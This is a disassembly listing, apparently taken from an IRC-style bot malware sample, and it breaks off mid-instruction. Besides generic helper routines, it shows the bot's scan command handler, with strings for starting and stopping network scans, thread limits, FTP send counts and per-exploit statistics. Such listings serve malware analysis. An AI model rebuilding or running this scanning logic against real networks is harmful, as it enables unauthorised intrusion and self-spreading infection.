; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F9B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB60[eax*8] add esp, 4 push eax call near ptr 71AB3F41h nop push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8380 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44965F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445430 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445430 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, dword_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp mov eax, dword_445430 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445438 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call near ptr 77C47920h nop mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445430 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445430 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445430[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov 